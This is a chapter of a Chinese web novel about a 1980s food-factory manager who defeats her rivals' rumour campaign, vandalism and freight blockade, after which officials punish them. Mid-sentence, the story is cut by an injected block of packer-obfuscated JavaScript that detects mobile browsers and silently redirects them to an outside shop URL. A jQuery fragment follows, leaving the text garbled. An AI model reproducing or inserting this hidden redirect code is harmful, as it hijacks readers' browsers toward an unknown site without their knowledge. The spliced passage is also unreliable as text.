表彰大会现场,真相大白,铁证压身。
马宏业面色惨白,浑身僵硬坐在席位上,十指死死抠着实木桌沿,指节泛白,胸腔里翻涌着滔天的羞愤与恨意。陈家兄弟被工作人员拦在会场外围,慌不择路,眼神里满是亡命之徒的戾气。沈择之端坐前排,一身笔挺西装早已衬不出半分儒雅,眼底覆满阴冷的寒雾,周身气压低到极致。
全场的目光,鄙夷、错愕、审视,密密麻麻落在三人身上,如同万千针芒,扎得人无处躲藏。
工商与公社领导当场敲定,会后即刻立案核查,依照八零年代市场管理条例,对恶意垄断货源、雇佣人员拦路滋事、收买内部人员蓄意破坏、造谣诽谤等行为依规追责,责令涉事主体停业自查、限期整改,涉事个人等候问询处置。
原本风光的三方势力,一朝沦为全场众矢之的,体面碎得一干二净。
林晚星立于发言高台,身姿挺拔,目光坦荡,待领导话音落下,她微微颔首,语气平和收尾。
“我所求从不是赶尽杀绝,只愿市场经营守底线、讲诚信,各行凭实力竞争,不再有人用阴私手段倾轧实干从业者。证据悉数移交相关部门,后续一切交由官方依规处理。”
不咄咄逼人赶尽杀绝,却也绝不姑息退让。这番表态,反倒让在场一众干部与商户暗自敬佩,比起气急败坏的对手,她的格局高下立判。
大会流程草草收尾,参会人员陆续离场,人群三三两两低声议论,所有话题都绕不开沈择之三人的卑劣算计,舆论彻底一边倒。
林晚星收好所有证据副本,交由林建国随同工作人员办理移交手续,自己缓步走出会场。
午后阳光炽烈,落在肩头,连日紧绷的神经终于得以松缓些许,可她心底丝毫没有彻底松懈的念头。
沈择之、马宏业、陈家兄弟三人,皆是心性狭隘、执念深重之人,根基未被连根斩断,绝不会乖乖俯首接受处置,困兽犹斗,必然会掀起最后一轮疯狂反扑。
果不其然,会场侧门的阴影里,沈择之独自伫立等候,周身戾气森冷,再无半分往日温情。见林晚星走来,他上前两步,目光死死锁住她,语气低沉刺骨。
“林晚星,你做得好。当众撕破脸面,断我布局,毁我名声,你以为这就结束了?”
“我在省城深耕多年,人脉盘根错节,区区县级部门的处置,根本动不了我的根本。马宏业手里握着几十年渠道资源,陈家兄弟光脚不怕穿鞋,你以为凭一场当众揭穿,就能彻底碾碎我们?”
林晚星脚步顿住,神色淡然回望他:“手段卑劣者,终究难长久。官方依规核查,证据完整,人脉遮不住既定罪责,你们所有反扑,最终只会反噬自身。”
“反噬?”沈择之低笑出声,笑声阴冷刺耳,“你太过天真。我苦心布局许久,为的就是吞并林家食品,今日脸面尽失,我更不会空手而归。既然明面规矩压不住你,那就用旁人拿捏不住的方式,同归于尽,也要拉着你一起跌落泥潭。”
撂下这句充满威胁的话语,沈择之转身快步离去,直奔县城招待所,连夜联系省城人脉,同时差人加急联络马宏业与陈家兄弟,三人连夜闭门密会,敲定最后一轮疯狂反扑计划。
落败的恐慌、颜面尽失的愤恨、产业即将受损的焦虑,让三人暂时放下彼此间隙,拧成一股仇怨浓烈的绳,打算做最后一搏。
当夜,县城暗流汹涌。
马宏业动用仅剩的渠道人脉,加急联络零散批发商,散布全新谣言,刻意扭曲今日表彰大会真相,谎称林晚星伪造证据、诬告同行,靠着攀附上级打压竞争对手,妄图垄断全县调味品市场,吃独食、挤压所有小商户生存空间。流言专挑市井小贩、底层批发商传播,精准挑动同行的抵触情绪,暗中煽动抱团抵制林家食品。
陈耀祖、陈耀宗则铤而走险,连夜纠集一批闲散流民,打算趁深夜突袭林家厂区外围,伺机损毁货运车辆、堆放的成品货品,以泄心头恨意。两人自知明面无从下手,便选择深夜暗地破坏,赌厂区夜间守卫存在疏漏。
而沈择之,身在幕后统筹全局。一边动用省城人脉,试图向县级核查部门递话施压,延缓处置进度、弱化追责力度,为反扑争取时间;一边暗中打探林家食品向外县扩张的货运路线,准备雇佣跨省流民,在外县交界路段拦截外运货品,掐断林晚星向外拓展的新销路,将她死死锁在本县内耗。
三重反扑,层层递进,舆论煽动、物理破坏、渠道封锁同步落地,疯狂且不计后果。
次日清晨,危机便率先爆发。
县城各大农贸市场、批发摊位,零散商户纷纷面露抵触,不少批发商直接拒收林家货品,当众直言听信传言,不愿和“诬告同行、垄断市场”的林晚星合作。线下零售端销量骤然下滑,刚回暖的市场口碑再度遭遇冲击。
销售部负责人一早便急匆匆冲进办公室,脸色焦灼。
“林厂长,情况不对!一夜之间县城批发商大面积抵制咱们的货,到处都在传你伪造证据诬告同行,想垄断市场,不少老主顾都动摇了!”
林晚星指尖轻叩桌面,神色冷静:“意料之中,是马宏业的舆论反扑。他抓准底层商户惧怕垄断的心理,刻意歪曲真相煽动抵触情绪。”
她当即快速部署应对方案:“第一,整理昨日表彰大会官方现场记录、证据移交回执、工商部门立案受理回执,复印多份,挨个对接核心批发商,当面出示官方凭证,澄清谣言,讲明整件事完整始末;第二,推出商户合作让利政策,短期下调批量拿货差价,稳固老合作商户,用实在收益对冲流言煽动;第三,安排厂区员工分散去往各个市场,不争执辩解,只客观转述昨日大会实情,以平常心化解猜忌。”
刚安排完舆论风波的应对,厂区安保人员狂奔而来,面色紧绷。
“厂长!厂区西侧外围来了十几个闲散壮汉,拿着木棍石块,围着货运三轮车打砸叫嚣,值守护卫已经上前阻拦,双方僵持住了,对方人多,我们人手不足!”
林晚星眸光一冷,起身快步向外赶去。
厂区西侧空地上,陈耀祖、陈耀宗躲在人群后方指挥,一众流民肆意打砸几辆闲置货运三轮车,叫嚣辱骂,气焰嚣张。几名值守工人寸步不让阻拦,已然被推搡擦伤,场面混乱紧绷。
见林晚星赶来,陈耀祖面目狰狞嘶吼:“林晚星!你毁我陈家一切,今日我就要砸烂你的厂子,让你血债血偿!”
“血债血偿?”林晚星立于人群前方,目光锐利直视对方,“你们花钱唆使造谣、恶意搅乱市场,证据确凿,如今公然聚众寻衅滋事、损毁财物,是想主动送上门接受公安处置?”
她抬手示意,早已提前报备等候的乡镇派出所民警从侧方快步赶来。昨夜预判对方会铤而走险,她便提前将陈家兄弟过往滋事线索报备公安,此刻正好当场拦截。
一众流民见到民警,瞬间四散逃窜,陈耀祖兄弟来不及脱身,被当场控制,连夜带回派出所问询,聚众破坏的反扑计划,当场破产。
两场危机接连化解,沈择之的跨省货运拦截计划,也同步浮出水面。
外县对接的国营货运站点传来消息,称交界路段出现陌生人员设卡拦货,刻意针对林家外运车辆,司机不敢贸然通行,外县供货被迫临时停滞。
林晚星当即调整外运方案,放弃零散跨省小路
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550010|202932||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,全程依托国营长途货运车队组队押运,同步对接外县工商部门报备恶意拦路行径,由跨区域基层人员协同护航通行。沈择之雇佣的跨省流民,面对国营车队与官方协同值守,根本不敢贸然动手,这一轮渠道封锁反扑,再度落空。
一日之内,三方反扑接连碰壁,三人精心筹划的困兽之斗,尽数沦为无用之功。
沈择之在招待所接到全线失利的消息,脸色阴沉到极致,手中茶杯重重砸在桌面,碎裂瓷片四溅。
“一群废物,层层布局,竟连一点小事都办不成!”
他心底清楚,自己省城人脉的施压,仅仅延缓了几日核查进度,根本无法扭转官方既定的核查方向;马宏业煽动的商户抵制,在官方凭证与让利政策下快速瓦解;陈家兄弟直接被公安控制,再无动手能力。
自己所有后手全部失效,败局已然注定。
可长久的控制欲与不甘,让他依旧不愿彻底认输。他连夜提笔,试图拟定一份看似体面的和解协议,提出愿意出资收购林家食品部分股份,以“和解止损”为由,再度尝试介入产业,哪怕只剩少量股份,也能伺机慢慢蚕食,伺机翻盘。
第三日上午,沈择之带着这份和解协议,独自登门林家食品厂区。
办公室内,他将协议推至林晚星面前,语气带着最后一丝自持的从容。
“事到如今,两败俱伤毫无意义。我愿意出资入股,共同经营林家食品,过往恩怨一笔勾销,你依旧执掌日常生产,我负责省外渠道对接,对你而言,是双赢局面。”
林晚星低头扫过协议条款,一眼看穿内里暗藏的算计,股份占比暗藏逐步稀释夺权的陷阱。她抬手将协议轻轻推回,语气淡漠决绝。
“从你默许原料封锁、收买内鬼算计我的那天起,便再无和解可言。你想要的从不是合作共赢,而是伺机吞并。如今核查流程稳步推进,你的产业受限、名声崩塌,都是自身行径换来的结果,不必再做无谓挣扎。”
“你当真一点余地都不留?”沈择之眼底燃起最后一丝戾气。
“我留过。”林晚星抬眼直视他,目光澄澈坚定,“初识之时,我念过温情情面;屡次打压之时,我只被动防守未主动赶尽杀绝。是你步步紧逼,执意要用阴私手段吞并我的一切,亲手斩断所有余地。”
“依规追责,是底线,而非赶尽杀绝。”
沈择之死死盯着她良久,终于认清自己彻底落败的现实,浑身力气仿佛被瞬间抽空,狼狈颓然,再无半分往日精英姿态。他攥紧拳头,沉默许久,转身落寞离去,再无半句辩驳。
同日,官方核查结果正式公示:
马宏业因恶意垄断原料、雇佣人员拦路滋事,名下宏业食品责令停业整顿三个月,处以大额罚金,渠道合作资质受限,多年积累的市场人脉大幅流失,产业根基重创;
陈耀祖、陈耀宗兄弟,造谣诽谤、聚众寻衅滋事,依法处以治安拘留并罚金,陈家残存的微薄家底尽数用来赔付损毁财物,彻底一蹶不振;
沈择之,幕后统筹恶意不正当竞争,省城农开公司在本县业务全面终止,个人在县域商界列入失信经营名单,苦心经营的儒雅人设彻底崩塌,人脉资源折损大半,不得不仓促撤回省城,且相关行为被同步抄送其总公司,面临内部追责。
三方势力,各自付出沉重代价,再无能力对林家食品造成任何威胁。
连日的余波反扑彻底落幕,所有阴私算计尽数尘埃落定。
厂区之内,机器轰鸣平稳有序,员工心气高涨,经销商合作订单稳步回升,向外县拓展的渠道全线打通,林家食品彻底摆脱长久的围堵困局,前路豁然开朗。